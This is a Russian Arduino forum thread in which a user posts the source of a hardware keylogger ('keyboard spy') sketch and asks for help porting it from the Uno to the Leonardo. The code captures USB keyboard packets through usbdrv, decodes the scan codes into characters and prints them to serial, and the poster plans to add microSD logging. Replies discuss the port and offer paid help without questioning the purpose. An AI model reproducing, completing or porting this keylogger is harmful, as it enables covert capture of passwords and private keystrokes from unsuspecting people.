Требуется помощь в изменении скетча с Arduino Uno на Arduino Leonardo
- Войдите на сайт для отправки комментариев
Ср, 18/09/2019 - 07:08
Есть готовый скетч клавиатурного шпиона, написанный для Arduino Uno. При прошивке данного скетча в Arduino Leonardo IDE ругается на библиотеку uart.h. Uno прошивается без проблем. Требуется помощь в редактировании данного скетча или библиотеки. устройство должно считывать нажатую с клавиатуры клавишу и выводить её значение в Serial-порт. Очень нужна помощь
#include <avr/io.h> #include <avr/interrupt.h> #include <avr/wdt.h> #include <avr/pgmspace.h> // библиотека для работы с протоколом USB #include <usbdrv.h> // библиотека для работы с Serial-портом #include <uart.h> // PID 8 бит идентификатор // ADDR 7 бит адрес устройства // Endpoint 4 бита номер конечной точки // CRC 5 бит контрольная сумма // итого 3 байта #define IN_SIZE 3 // PID 8 бит идентификатор // DATA 64 бита данные // CRC 16 бит контрольная сумма // итого 11 байт #define USB_BUFSIZE 11 // количество принятых пакетов хранимых в памяти // должно быть четным и соблюдаться условие // (IN_SIZE + USB_BUFSIZE)*FIFO_BUF_SIZE < 255 #define FIFO_BUF_SIZE 10 // RX буфер: 3 байта запроса IN + 11 байт данных DATAx unsigned char usbRxBuf[USB_BUFSIZE]; unsigned char FIFOBuf[(IN_SIZE+USB_BUFSIZE)*FIFO_BUF_SIZE]; // номер текущей записываемой пары IN-DATA (0-FIFO_BUF) unsigned char CurWritePos = 0; // номер текущей прочитываемой пары IN-DATA (0-FIFO_BUF) unsigned char CurReadPos = 0; // массив символов для декодирования скан-кодов при не нажатой клавиши Shift unsigned char masskey[] = "abcdefghijklmnopqrstuvwxyz1234567890-=[]\\X;'`,./"; // массив символов для декодирования скан-кодов при зажатой клавиши Shift unsigned char masskeyShift[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZ!@#$%^&*()_+{}|X:\"~<>?"; void setup() { // открываем последовательный порт Serial.begin(115200); // настраиваем прерывание usbInit(); // печатаем о готовности устройства Serial.print("UART init complet"); // разрешаем прерывания sei(); } void loop() { // если сработало прерывание // то переменная CurWritePos изменит своё значение if (CurWritePos != CurReadPos) { // вызываем функцию printResult printResult(FIFOBuf + CurReadPos*(USB_BUFSIZE+IN_SIZE) + IN_SIZE, USB_BUFSIZE); CurReadPos++; if (CurReadPos >= FIFO_BUF_SIZE) { CurReadPos = 0; } } } void printResult(uchar *datakey, uchar len) { bool shift = 0; // если во время очередного нажатия на клавишу // была нажата кнопка Shift if ((*(datakey + 1) == 0x2) || (*(datakey + 1) == 0x20)) shift = 1; else shift = 0; // если 4 или 3 байт из массива данных пришёл не нулевой // значит нажата одна из клавиш if (*(datakey + 4) != 0) { // вызываем функцию печати 2-го символа printKey(*(datakey + 4), shift); } else if (*(datakey + 3) != 0) { // вызываем функцию печати 1-го символа printKey(*(datakey + 3), shift); } } void printKey(uchar key, bool shift) { // если нажата одна из клавиш английского алфавита if (key >= 0x4 && key <= 0x27) { // если нажат Shift декодируем скан-коды как заглавные буквы if (shift == 1) { Serial.write(masskeyShift[key-4]); } else { // если нет декодируем скан-коды как строчные буквы Serial.write(masskey[key-4]); } } else if (key == 0x28) { // если пришел скан-код клавиши Enter Serial.print("\r\n"); } else if (key == 0x2B) { // если пришел скан-код клавиши Tab Serial.print("\t"); } else if (key == 0x2C) { // если пришел скан-код клавиши Space Serial.print(" "); } else if (key >= 0x2d && key <= 0x38) { // если пришел сканд-код из знаков пунктуации if (shift == 1) Serial.write(masskeyShift[key - 9]); else Serial.write(masskey[key - 9]); } else { // если пришёл скан-код которого мы не знаем // печатаем его без декодирования printHex(key); } }
htpicc@gmail.com
Сделаю. Минимум 2 банки пива.
а чё просто закомментить инклуд религия не позволяет?
Ну вот и выдали секрет. Остался я без пива
Два слеша за два пива. Получается слеш за пиво. Нифига у тебя расценки. А скока тогда буквы и цифры у тебя стоят?
Буквы и цифры бесплатно.
тада есть экономический смысл заказывть у тебя код без каментов. закащики, налетай
тада есть экономический смысл заказывть у тебя код без каментов. закащики, налетай
и без букв.
Бесплатно буквы только в каментах
Привет, предложу Лучший вариант - maslachenko767@mail.ru , консультации, подбор компонентов бесплатно, гарантии имеются
Да куда уж лучше? Два слэша поставить. ТС и сам это сделает
если б всё было так просто... без этой библиотеки не пашет устройство вообще
эта библиотека с uno совместима, а на leonardo аналогов я не нашёл
Библиотека uart никак не влияет на работу устройства(только на вывод данных в Serial). А вот используемая usb-шная либа(usbdrv) может и не работать под Leoardo. Могу помочь разобраться с ней, fridgetester@mail.ru
Просто интересно - зачем дешёвый Uno/Nano/Mini с пыхтеньем менять на дорогой Leonardo, если USB-фичи этого леонардо использованы не будут?
Просто интересно - зачем дешёвый Uno/Nano/Mini с пыхтеньем менять на дорогой Leonardo, если USB-фичи этого леонардо использованы не будут?
так в инете так сказали, только УНО
я просто планирую вывод символов осуществить на LCD-дислей, и запись на карту microSD. а на UNO просто пинов не хватит на всё это
Просто интересно - зачем дешёвый Uno/Nano/Mini с пыхтеньем менять на дорогой Leonardo, если USB-фичи этого леонардо использованы не будут?
Может лучше Мегу взять?
да поздно... взял Leonardo в надежде, что заработает. А тут такой облом
я просто планирую вывод символов осуществить на LCD-дислей, и запись на карту microSD. а на UNO просто пинов не хватит на всё это
А на леонарде их больше? Я по картинке посмотрел - вроде столько же, сколько и на Uno.
Сдаётся мне - нужно с другого конца заходить.
В любом случае, с Leonardo работать проще и в плане прошивки и в плане подключения периферии (лично для меня). Не кидайтесь камнями, пожалуйста, я только начинаю в этом разбираться
А чего кидаться? Хозяин - барин. Можете на дорогую ардуину задорого заказывать переделку прошивки, я и слова не скажу.
Но я никаких специфических возможностей леонарды, которые бы в данной задаче понадобились - не вижу, например. Разве что на полкило больше оперативки.
То, что описано в первопосте, вполне может быть запихано в Uno, думаю.
хорошо не будем.
только поймите, разбираться можно только в тухлых помидорах, тут надо учится,учится и учится, даже если вы считаете что уже поздно.
спасибо за совет)
В любом случае, с Leonardo работать проще и в плане прошивки и в плане подключения периферии (лично для меня). Не кидайтесь камнями, пожалуйста, я только начинаю в этом разбираться
Легко прошивать до тех пор, пока вы случайно не заблокируете в каком нибудь своём скетче работу CDC ком-порта. Если это случится, то прошить через бутлоадер будет очень трудно. В этом смысле UNO существенно надёжнее.
Ну и про совместимость библиотек -вы уже знаете. Далеко не все работают на Леонардо.